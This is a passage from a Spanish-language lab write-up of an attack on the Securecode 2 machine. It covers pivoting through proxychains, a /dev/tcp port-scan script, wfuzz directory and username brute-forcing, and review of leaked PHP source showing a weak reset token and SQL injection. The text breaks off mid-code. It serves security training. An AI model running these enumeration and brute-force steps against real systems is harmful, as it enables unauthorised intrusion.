<p>Por tanto, con <strong>proxychains</strong> vamos a redirigir todo el tráfico por ese puerto y con eso tendríamos acceso a la otra máquina.</p>
<pre><code class="lang-bash">tail -f /etc/proxychains.conf 
<span class="hljs-comment">#           http    192.168.39.93    8080</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#       proxy types: http, socks4, socks5, raw</span>
<span class="hljs-comment">#         * raw: The traffic is simply forwarded to the proxy without modification.</span>
<span class="hljs-comment">#        ( auth types supported: "basic"-http  "user/pass"-socks )</span>
<span class="hljs-comment">#</span>
[ProxyList]
<span class="hljs-comment"># add proxy here ...</span>
socks4    127.0.0.1   1080
</code></pre>
<p>Como ven, yo tengo <strong>configurado SOCKS4;</strong> eso hay que cambiarlo a <strong>SOCKS5</strong>.</p>
<pre><code class="lang-bash">tail -f /etc/proxychains.conf
<span class="hljs-comment">#</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment">#       proxy types: http, socks4, socks5, raw</span>
<span class="hljs-comment">#         * raw: The traffic is simply forwarded to the proxy without modification.</span>
<span class="hljs-comment">#        ( auth types supported: "basic"-http  "user/pass"-socks )</span>
<span class="hljs-comment">#</span>
[ProxyList]
<span class="hljs-comment"># add proxy here ...</span>
<span class="hljs-comment">#socks4    127.0.0.1   1080</span>
socks5 127.0.0.1 1080
</code></pre>
<p>Ahora podemos comprobar si tenemos acceso a la máquina <strong>192.168.100.20</strong> (<strong>Securcode 2</strong>).</p>
<pre><code class="lang-bash">proxychains curl -I 192.168.100.20
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
HTTP/1.1 200 OK
Date: Sat, 09 Aug 2025 09:35:40 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8
</code></pre>
<p>Ahora, cada vez que pasemos por el <strong>proxychains</strong>, tendremos acceso a la máquina <strong>192.168.100.20</strong> (<strong>Securecode</strong>).</p>
<h1 id="heading-reconocimiento-securecode">Reconocimiento - Securecode</h1>
<p>Para empezar, vamos a crearnos nuestros directorios de trabajo.</p>
<pre><code class="lang-bash">mkdir Securecode2      
<span class="hljs-built_in">cd</span> Securecode2 
mkdir nmap content exploit
<span class="hljs-built_in">cd</span> nmap
</code></pre>
<p>Vamos a empezar con el escaneo de puertos con nmap; para ello vamos a necesitar utilizar el parámetro <strong>-sT</strong> (TCP connect scan) en lugar del <strong>-sS</strong> (TCP SYN scan).</p>
<p>Esto debido a que estamos utilizando <strong>proxychains.</strong></p>
<p>Esto puede ir más o menos lento (debido a que los paquetes viajan por el <strong>túnel</strong>); por tanto, mejor vamos a crear un simple script en <strong>bash</strong> para detectar los puertos abiertos.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-built_in">trap</span> ctrl_c INT

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">ctrl_c</span></span>(){
    <span class="hljs-built_in">echo</span> -e <span class="hljs-string">"\n\n[!]Saliendo ...\n"</span>
    <span class="hljs-built_in">exit</span> 1
}

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> $(seq 1 65535); <span class="hljs-keyword">do</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">''</span> &gt; /dev/tcp/192.168.100.20/<span class="hljs-variable">$i</span> &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"[+] Puerto <span class="hljs-variable">$i</span> - Abierto"</span>
<span class="hljs-keyword">done</span>
</code></pre>
<p>También podemos subir un compilado de <strong>Nmap</strong> a la máquina víctima para hacer el reconocimiento de puertos.</p>
<p>Ahora subimos el archivo de bash a la máquina víctima y lo ejecutamos.</p>
<pre><code class="lang-bash">./portscan.sh 2&gt;/dev/null
[+] Puerto 80 - Abierto
</code></pre>
<p>Parece que solo tiene el puerto 80 abierto; vamos a ver qué tecnologías usa con <strong>WhatWeb.</strong></p>
<pre><code class="lang-bash">proxychains whatweb 192.168.100.20                         
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] DLL init: proxychains-ng 
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
http://192.168.100.20 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[ex@abc.xyz], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.100.20], JQuery[3.2.1], Script, Title[Coming Soon 2]
</code></pre>
<p>Vemos un <strong>Apache,</strong> la versión y <strong>Ubuntu</strong> y poco más.</p>
<p>Para ver la web desde nuestro navegador, hay que pasar por el <strong>proxychains</strong>; esto lo podemos hacer con un addon; yo, como uso <strong>Firefox,</strong> voy a utilizar <strong>FoxyProxy.</strong></p>
<p>Simplemente descargan el addon y luego lo abren, luego le dan proxy y agregar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751190875/fe3b9b35-db02-4615-a5b4-d7771c10767c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751235669/ffb36dd2-313a-41a9-bb49-012eb2ecf613.png" alt class="image--center mx-auto" /></p>
<p>Definen el nombre, el tipo <strong>socks5,</strong> el <strong>host,</strong> que es el <strong>localhost,</strong> y el puerto, en este caso <strong>1080</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751361196/74ccc864-8cd6-4adb-b17d-0ebc2020fc39.png" alt class="image--center mx-auto" /></p>
<p>Luego, en la sección de <strong>addons</strong>, cuando seleccionen <strong>FoxyProxy</strong>, verán el nuevo y lo seleccionan.</p>
<p>Ahora, cuando pongan la IP de la máquina (<strong>Securecode</strong>), verán la web.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751477053/2a61417d-f319-4b59-a424-c265ac463575.png" alt class="image--center mx-auto" /></p>
<p>Se ve una cuenta regresiva; la página parece que está en desarrollo.</p>
<p>Buscando manualmente por rutas comunes, me encuentro que tiene el <strong>robots.txt</strong> y que existe un supuesto <strong>/login</strong>. Vamos a ver.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751624418/0977aa0a-b7bb-468f-b3bc-a320141c16fb.png" alt class="image--center mx-auto" /></p>
<p>Y parece ser un panel de inicio de sesión; está en <strong>.php;</strong> importante tenerlo en cuenta.</p>
<p>Vemos una zona que dice <strong>Forgot Your Password?,</strong> que muestra lo siguiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751875557/680d2c6f-a202-4787-8d33-35d9c3f15225.png" alt class="image--center mx-auto" /></p>
<p>Esto es peligroso, ya que podríamos intentar enumerar usuarios válidos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751918494/8d0672c4-9d15-49e6-afb9-7ff44a52e053.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751939936/5e5c5d2e-f16c-4a50-8341-ab32c1d42dad.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754751952711/fcd37ecc-2c77-43fd-82c5-53d823de4e46.png" alt class="image--center mx-auto" /></p>
<p>Y sí tenemos posibilidad de enumerar usuarios, y sabemos que el usuario <strong>admin</strong> existe.</p>
<p>Si hacemos <strong>Ctrl+Shift+C</strong>, y nos vamos a Network y colocamos un usuario que no existe, podemos ver cómo se tramita la petición.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754752089192/3deede3d-547f-47ef-b087-de0445b5cdff.png" alt class="image--center mx-auto" /></p>
<p>Vemos que viaja por POST a <strong>resetPassword.php</strong> y como POST data envía <strong>username=&lt;usuario&gt;</strong>.</p>
<p>Con esto podemos hacer un ataque de fuerza bruta para enumerar más usuarios en el caso de que existan.</p>
<p>Antes de nada, vamos a realizar fuzzing con <strong>Wfuzz</strong>, para no ir tan rápido y no saturar el <strong>túnel.</strong></p>
<pre><code class="lang-bash">proxychains wfuzz --hc 404 -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.100.20/FUZZ 2&gt;/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.20/FUZZ
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000001:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# directory-list-2.3-medium.txt"</span>                    
000000007:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# license, visit http://creativecommons.org/licenses
                                                        /by-sa/3.0/"</span>                                         
000000003:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Copyright 2007 James Fisher"</span>                      
000000014:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"http://192.168.100.20/"</span>                             
000000012:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# on at least 2 different hosts"</span>                    
000000006:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Attribution-Share Alike 3.0 License. To view a cop
                                                        y of this"</span>                                           
000000008:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# or send a letter to Creative Commons, 171 Second S
                                                        treet,"</span>                                              
000000009:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Suite 300, San Francisco, California, 94105, USA."</span>
000000010:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000000005:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# This work is licensed under the Creative Commons"</span> 
000000011:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Priority ordered case-sensitive list, where entrie
                                                        s were found"</span>                                        
000000013:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000000002:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000000004:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000000053:   301        9 L      28 W       316 Ch      <span class="hljs-string">"login"</span>                                              
000000086:   301        9 L      28 W       318 Ch      <span class="hljs-string">"profile"</span>                                            
000000202:   301        9 L      28 W       316 Ch      <span class="hljs-string">"users"</span>                                              
000000694:   301        9 L      28 W       315 Ch      <span class="hljs-string">"item"</span>                                               
000001112:   301        9 L      28 W       318 Ch      <span class="hljs-string">"include"</span>
</code></pre>
<p>Vemos un par de recursos, pero nos pide iniciar sesión primero.</p>
<p>Vamos a buscar archivos con extensión <strong>.php.</strong></p>
<p>Pero no encuentra nada. Con la misma técnica que vimos, como se tramitan los datos a <strong>resetPassword.php</strong>, podemos ver cómo se tramitan los datos hacia <strong>login.php.</strong></p>
<p>Esto con el fin de hacer fuerza bruta y ver si encontramos la contraseña de <strong>admin</strong>. Que sabemos que existe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754752778108/d0c86f7e-24a6-4455-95c8-1a4e4837c8e5.png" alt class="image--center mx-auto" /></p>
<p>Vemos que se envían a <strong>checkLogin.php</strong> como <strong>username=&lt;username&gt;&amp;password=&lt;password&gt;.</strong></p>
<p>Pero no encuentra nada.</p>
<p>Para analizar las cosas con <strong>Burp Suite</strong>, hay que habilitar la configuración en el Burp Suite de <strong>SOCKS.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754756629609/4c3f1e93-23cc-41ad-91de-0c961746c5b6.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754756651054/34518257-5f87-4e1c-a180-6acbe9aab7f6.png" alt class="image--center mx-auto" /></p>
<p>Luego de irnos a <strong>Settings</strong> en <strong>proxy</strong>, nos vamos a <strong>Network</strong> → <strong>Connections</strong> y veremos el <strong>SOCKS proxy</strong>.</p>
<p>Donde, luego de configurarlo por el puerto <strong>1080</strong> por el <strong>localhost</strong>, ya funcionará el <strong>Burp Suite.</strong></p>
<p>Luego de una pequeña enumeración de usuarios, encuentro otro.</p>
<pre><code class="lang-bash">wfuzz -c -p 127.0.0.1:1080:SOCKS5 -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://192.168.100.20/login/resetPassword.php -d <span class="hljs-string">"username=FUZZ"</span> 2&gt;/dev/null -L --hw 88 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.20/login/resetPassword.php
Total requests: 8295455

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000002:   200        53 L     113 W      2323 Ch     <span class="hljs-string">"admin"</span>                                              
000003766:   200        53 L     113 W      2323 Ch     <span class="hljs-string">"customer"</span>
</code></pre>
<p>En este caso utilizamos el parámetro -p de <strong>wfuzz</strong> para pasar por el <strong>t</strong>únel. Vemos al usuario customer.</p>
<p>Después de enumerar un largo rato, decido probar extensiones comunes hasta que me encuentro con lo siguiente.</p>
<pre><code class="lang-bash">wfuzz --hc 404 -p 127.0.0.1:1080:SOCKS5 -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.100.20/FUZZ.zip
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.20/FUZZ.zip
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000001:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# directory-list-2.3-medium.txt"</span>                    
000000007:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# license, visit http://creativecommons.org/licenses
                                                        /by-sa/3.0/"</span>                                         
000000003:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Copyright 2007 James Fisher"</span>                      
000000006:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Attribution-Share Alike 3.0 License. To view a cop
                                                        y of this"</span>                                           
000000004:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000000005:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# This work is licensed under the Creative Commons"</span> 
000000002:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000000008:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# or send a letter to Creative Commons, 171 Second S
                                                        treet,"</span>                                              
000000013:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000000012:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# on at least 2 different hosts"</span>                    
000000009:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Suite 300, San Francisco, California, 94105, USA."</span>
000000011:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"# Priority ordered case-sensitive list, where entrie
                                                        s were found"</span>                                        
000000010:   200        102 L    251 W      3650 Ch     <span class="hljs-string">"#"</span>                                                  
000058434:   200        19782    194583 W   4996685 C   <span class="hljs-string">"source_code"</span>
</code></pre>
<p>Vemos que existe un <strong>source_code.zip.</strong></p>
<p>Vamos a descargarlo para ver qué contiene.</p>
<pre><code class="lang-bash">proxychains wget http://192.168.100.20/source_code.zip
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
--2025-08-09 19:35:39--  http://192.168.100.20/source_code.zip
Connecting to 192.168.100.20:80... [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
connected.
HTTP request sent, awaiting response... 200 OK
Length: 5275298 (5.0M) [application/zip]
Saving to: ‘source_code.zip’

source_code.zip               100%[===============================================&gt;]   5.03M  5.53MB/s    <span class="hljs-keyword">in</span> 0.9s    

2025-08-09 19:35:40 (5.53 MB/s) - ‘source_code.zip’ saved [5275298/5275298]
</code></pre>
<pre><code class="lang-bash">7z x source_code.zip
ls
asset  db.sql  include  index.php  item  login  profile  robots.txt  source_code.zip  users
</code></pre>
<p>Vemos un <strong>db.sql</strong>; vamos a ver su contenido.</p>
<pre><code class="lang-bash">cat db.sql
</code></pre>
<pre><code class="lang-bash">SET SQL_MODE = <span class="hljs-string">"NO_AUTO_VALUE_ON_ZERO"</span>;
START TRANSACTION;
SET time_zone = <span class="hljs-string">"+02:00"</span>;


CREATE TABLE `item` (
  `id` int(5) NOT NULL,
  `id_user` int(5) NOT NULL,
  `name` varchar(50) NOT NULL,
  `description` varchar(250) NOT NULL,
  `imgname` varchar(250) NOT NULL,
  `price` int(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;


INSERT INTO `item` (`id`, `id_user`, `name`, `description`, `imgname`, `price`) VALUES
(1, 1, <span class="hljs-string">'Raspery Pi 4'</span>, <span class="hljs-string">'Latest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B'</span>, <span class="hljs-string">'1.png'</span>, 92),
(2, 1, <span class="hljs-string">'ALFA WIFI Adapter'</span>, <span class="hljs-string">'ALFA WIFI Adapter'</span>, <span class="hljs-string">'2.png'</span>, 12),
(3, 1, <span class="hljs-string">'Mask'</span>, <span class="hljs-string">'Mask'</span>, <span class="hljs-string">'3.jpg'</span>, 22),
(4, 1, <span class="hljs-string">'T-Shirt'</span>, <span class="hljs-string">'Anonymous Quote T Shirt Fake Society Funny Hacker Parody Guy Fawkes Unisex Tee Style Round Tee Shirt'</span>, <span class="hljs-string">'4.jpg'</span>, 7);


CREATE TABLE `level` (
  `id` int(5) NOT NULL,
  `name` varchar(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;


INSERT INTO `level` (`id`, `name`) VALUES
(1, <span class="hljs-string">'admin'</span>),
(2, <span class="hljs-string">'user'</span>);


CREATE TABLE `user` (
  `id` int(5) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password` varchar(50) NOT NULL,
  `email` varchar(100) NOT NULL,
  `gender` varchar(10) NOT NULL,
  `id_level` int(5) NOT NULL,
  `token` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;


INSERT INTO `user` (`id`, `username`, `password`, `email`, `gender`, `id_level`, `token`) VALUES
(1, <span class="hljs-string">'admin'</span>, <span class="hljs-string">'24b97b1ec42a3deace58636148135f7d'</span>, <span class="hljs-string">'admin@hackshop.com'</span>, <span class="hljs-string">'Male'</span>, 1, <span class="hljs-string">''</span>),
(2, <span class="hljs-string">'customer'</span>, <span class="hljs-string">'355509442720e7eaa27d4e2fc8abe95a'</span>, <span class="hljs-string">'customer@hackshop.com'</span>, <span class="hljs-string">'Female'</span>, 2, <span class="hljs-string">''</span>);


ALTER TABLE `item`
  ADD PRIMARY KEY (`id`),
  ADD KEY `id_user` (`id_user`);


ALTER TABLE `level`
  ADD PRIMARY KEY (`id`);


ALTER TABLE `user`
  ADD PRIMARY KEY (`id`),
  ADD KEY `id_level` (`id_level`);


ALTER TABLE `item`
  MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10;


ALTER TABLE `user`
  MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;


ALTER TABLE `item`
  ADD CONSTRAINT `item_ibfk_1` FOREIGN KEY (`id_user`) REFERENCES `user` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;


ALTER TABLE `user`
  ADD CONSTRAINT `user_ibfk_1` FOREIGN KEY (`id_level`) REFERENCES `level` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
COMMIT;
</code></pre>
<p>Vamos los dos usuarios que descubrimos con sus emails y sus contraseñas.</p>
<p>Vamos a revisar el resto de archivos si encontramos cosas interesantes.</p>
<p>Revisando los archivos .php, me encuentro info interesante revisando el <strong>resetPassword.php.</strong></p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span> }


<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generateToken</span>(<span class="hljs-params"></span>)</span>{
    $characters = <span class="hljs-string">'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'</span>;
    $charactersLength = strlen($characters);
    $randomString = <span class="hljs-string">''</span>;
    <span class="hljs-keyword">for</span> ($i = <span class="hljs-number">0</span>; $i &lt; <span class="hljs-number">15</span>; $i++) {
        $randomString .= $characters[rand(<span class="hljs-number">0</span>, $charactersLength - <span class="hljs-number">1</span>)];
    }
    <span class="hljs-keyword">return</span> $randomString;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">send_email</span>(<span class="hljs-params">$username, $token</span>)</span>{

    $message = <span class="hljs-string">"Hello "</span>.htmlentities($username).<span class="hljs-string">",\n"</span>;
    $message .= <span class="hljs-string">"Please follow the link below to reset your password: \n"</span>;
    $message .= <span class="hljs-string">"http://"</span>.gethostname().<span class="hljs-string">"/doResetPassword.php?token=<span class="hljs-subst">$token</span> \n"</span>;
    $message .= <span class="hljs-string">"Thanks.\n"</span>;

    <span class="hljs-comment">// get user email</span>
    $data = mysqli_query($conn, <span class="hljs-string">"SELECT * FROM user WHERE username='<span class="hljs-subst">$username</span>'"</span>);
    <span class="hljs-keyword">while</span>($result= mysqli_fetch_array($data)){
        $email = $result[<span class="hljs-string">'email'</span>];
    }
    @mail($email, <span class="hljs-string">"Reset Your Password"</span>, $message);

}

<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>Esta es la parte importante; vemos dos funciones, una <strong>generateToken()</strong> y <strong>send_mail().</strong></p>
<p>Al parecer, el token que nos envían por correo se calcula dentro del mismo <strong>resetPassword.php</strong> y en <strong>send_mail()</strong> vemos cómo se tramita la petición y a dónde, en este caso <strong>doResetPassword.php.</strong></p>
<p>Si miramos el <strong>doResetPassword.php,</strong> encontramos lo siguiente:</p>
<pre><code class="lang-bash">cat doResetPassword.php
</code></pre>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">include</span> <span class="hljs-string">"../include/header.php"</span>;

$p_token = $_GET[<span class="hljs-string">'token'</span>];

$data = mysqli_query($conn, <span class="hljs-string">"SELECT * FROM user"</span>);
$tokens = [];
<span class="hljs-keyword">while</span>($result = mysqli_fetch_array($data)){
    array_push($tokens, $result[<span class="hljs-string">'token'</span>]);
}

<span class="hljs-keyword">if</span>(ctype_alnum($p_token) <span class="hljs-keyword">AND</span> in_array($p_token, $tokens)){

<span class="hljs-meta">?&gt;</span>

&lt;div <span class="hljs-class"><span class="hljs-keyword">class</span>="<span class="hljs-title">container</span>"&gt;
        &lt;<span class="hljs-title">br</span>&gt;&lt;<span class="hljs-title">br</span>&gt;&lt;<span class="hljs-title">br</span>&gt;&lt;<span class="hljs-title">br</span>&gt;&lt;<span class="hljs-title">br</span>&gt;
        &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">alert</span> <span class="hljs-title">alert</span>-<span class="hljs-title">success</span>  <span class="hljs-title">fade</span> <span class="hljs-title">in</span>"&gt;    
            &lt;<span class="hljs-title">strong</span>&gt;<span class="hljs-title">Success</span>! &lt;/<span class="hljs-title">strong</span>&gt; <span class="hljs-title">Valid</span> <span class="hljs-title">Token</span> <span class="hljs-title">Provided</span>, <span class="hljs-title">you</span> <span class="hljs-title">can</span> <span class="hljs-title">change</span> <span class="hljs-title">your</span> <span class="hljs-title">password</span> <span class="hljs-title">below</span> &lt;<span class="hljs-title">button</span> <span class="hljs-title">type</span>="<span class="hljs-title">button</span>" <span class="hljs-title">class</span>="<span class="hljs-title">close</span>" <span class="hljs-title">data</span>-<span class="hljs-title">dismiss</span>="<span class="hljs-title">alert</span>" <span class="hljs-title">aria</span>-<span class="hljs-title">label</span>="<span class="hljs-title">Close</span>"&gt;
                &lt;<span class="hljs-title">span</span> <span class="hljs-title">aria</span>-<span class="hljs-title">hidden</span>="<span class="hljs-title">true</span>"&gt;×&lt;/<span class="hljs-title">span</span>&gt;
            &lt;/<span class="hljs-title">button</span>&gt;
        &lt;/<span class="hljs-title">div</span>&gt;
        &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">col</span>-<span class="hljs-title">md</span>-3"&gt;

        &lt;/<span class="hljs-title">div</span>&gt;
            &lt;<span class="hljs-title">form</span> <span class="hljs-title">action</span>="<span class="hljs-title">doChangePassword</span>.<span class="hljs-title">php</span>" <span class="hljs-title">method</span>="<span class="hljs-title">POST</span>" <span class="hljs-title">class</span>="<span class="hljs-title">form</span>-<span class="hljs-title">horizontal</span> <span class="hljs-title">col</span>-<span class="hljs-title">md</span>-6"&gt;
                &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">panel</span> <span class="hljs-title">panel</span>-<span class="hljs-title">primary</span>"&gt;
                    &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">panel</span>-<span class="hljs-title">heading</span>"&gt;
                        &lt;<span class="hljs-title">center</span>&gt;<span class="hljs-title">Change</span> <span class="hljs-title">Your</span> <span class="hljs-title">Password</span>&lt;/<span class="hljs-title">center</span>&gt;
                    &lt;/<span class="hljs-title">div</span>&gt;
                    &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">panel</span>-<span class="hljs-title">body</span>"&gt;
                        &lt;<span class="hljs-title">input</span> <span class="hljs-title">type</span>="<span class="hljs-title">hidden</span>" <span class="hljs-title">name</span>="<span class="hljs-title">token</span>" <span class="hljs-title">value</span>="&lt;?<span class="hljs-title">php</span> <span class="hljs-title">echo</span> <span class="hljs-title">htmlentities</span>($<span class="hljs-title">p_token</span>); ?&gt;"&gt;
                        &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">form</span>-<span class="hljs-title">group</span>"&gt;
                            &lt;<span class="hljs-title">label</span> <span class="hljs-title">class</span>="<span class="hljs-title">control</span>-<span class="hljs-title">label</span> <span class="hljs-title">col</span>-<span class="hljs-title">sm</span>-2" <span class="hljs-title">for</span>="<span class="hljs-title">password</span>"&gt;<span class="hljs-title">New</span> <span class="hljs-title">Password</span>&lt;/<span class="hljs-title">label</span>&gt;
                            &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">col</span>-<span class="hljs-title">sm</span>-10"&gt;
                                &lt;<span class="hljs-title">input</span> <span class="hljs-title">type</span>="<span class="hljs-title">password</span>" <span class="hljs-title">name</span>="<span class="hljs-title">password</span>" <span class="hljs-title">class</span>="<span class="hljs-title">form</span>-<span class="hljs-title">control</span>" <span class="hljs-title">id</span>="<span class="hljs-title">password</span>" <span class="hljs-title">placeholder</span>="<span class="hljs-title">Enter</span> <span class="hljs-title">password</span>"&gt;
                            &lt;/<span class="hljs-title">div</span>&gt;

                        &lt;/<span class="hljs-title">div</span>&gt;
                        &lt;<span class="hljs-title">input</span> <span class="hljs-title">type</span>="<span class="hljs-title">submit</span>" <span class="hljs-title">value</span>="<span class="hljs-title">Change</span> <span class="hljs-title">Password</span>" <span class="hljs-title">class</span>="<span class="hljs-title">btn</span> <span class="hljs-title">btn</span>-<span class="hljs-title">primary</span>"&gt;
                    &lt;/<span class="hljs-title">div</span>&gt;
                &lt;/<span class="hljs-title">div</span>&gt;
            &lt;/<span class="hljs-title">form</span>&gt;
        &lt;<span class="hljs-title">div</span> <span class="hljs-title">class</span>="<span class="hljs-title">col</span>-<span class="hljs-title">md</span>-3"&gt;

        &lt;/<span class="hljs-title">div</span>&gt;
    &lt;/<span class="hljs-title">div</span>&gt;

&lt;?<span class="hljs-title">php</span> 

}</span>
</code></pre>
<p>Si miramos el último archivo que nos falta, que es el de <strong>doChangePassword.php</strong>, vemos lo siguiente:</p>
<pre><code class="lang-bash">cat doChangePassword.php
</code></pre>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">include</span> <span class="hljs-string">"../include/header.php"</span>;

$p_token = mysqli_real_escape_string($conn, $_REQUEST[<span class="hljs-string">'token'</span>]);
$password = mysqli_real_escape_string($conn, $_REQUEST[<span class="hljs-string">'password'</span>]);

<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($p_token, $password) <span class="hljs-keyword">and</span> ctype_alnum($p_token) <span class="hljs-keyword">and</span> $password !== <span class="hljs-string">''</span>){

    $data = mysqli_query($conn, <span class="hljs-string">"SELECT * FROM user"</span>);
    $tokens = [];
    <span class="hljs-keyword">while</span>($result = mysqli_fetch_array($data)){

        array_push($tokens, $result[<span class="hljs-string">'token'</span>]);

    }

    <span class="hljs-keyword">if</span>(in_array($p_token, $tokens)){

        $hash = md5($password);
        $x = mysqli_query($conn, <span class="hljs-string">"UPDATE user SET password = '<span class="hljs-subst">$hash</span>' WHERE token = '<span class="hljs-subst">$p_token</span>'"</span>);
        $y = mysqli_query($conn, <span class="hljs-string">"UPDATE user SET token = '' WHERE token = '<span class="hljs-subst">$p_token</span>'"</span>);

        <span class="hljs-keyword">if</span>($x <span class="hljs-keyword">and</span> $y){
            $_SESSION[<span class="hljs-string">'status'</span>]=<span class="hljs-string">" Password Changed"</span>;
        }<span class="hljs-keyword">else</span>{
            $_SESSION[<span class="hljs-string">'danger'</span>]=<span class="hljs-string">" Failed to change password"</span>;
        }

        header(<span class="hljs-string">"Location: login.php"</span>);
        <span class="hljs-keyword">die</span>();

    }<span class="hljs-keyword">else</span>{

        $_SESSION[<span class="hljs-string">'danger'</span>] = <span class="hljs-string">" Invalid password reset link."</span>;
        header(<span class="hljs-string">"Location: ../login/resetPassword.php"</span>);
        <span class="hljs-keyword">die</span>();

    }

}<span class="hljs-keyword">else</span>{

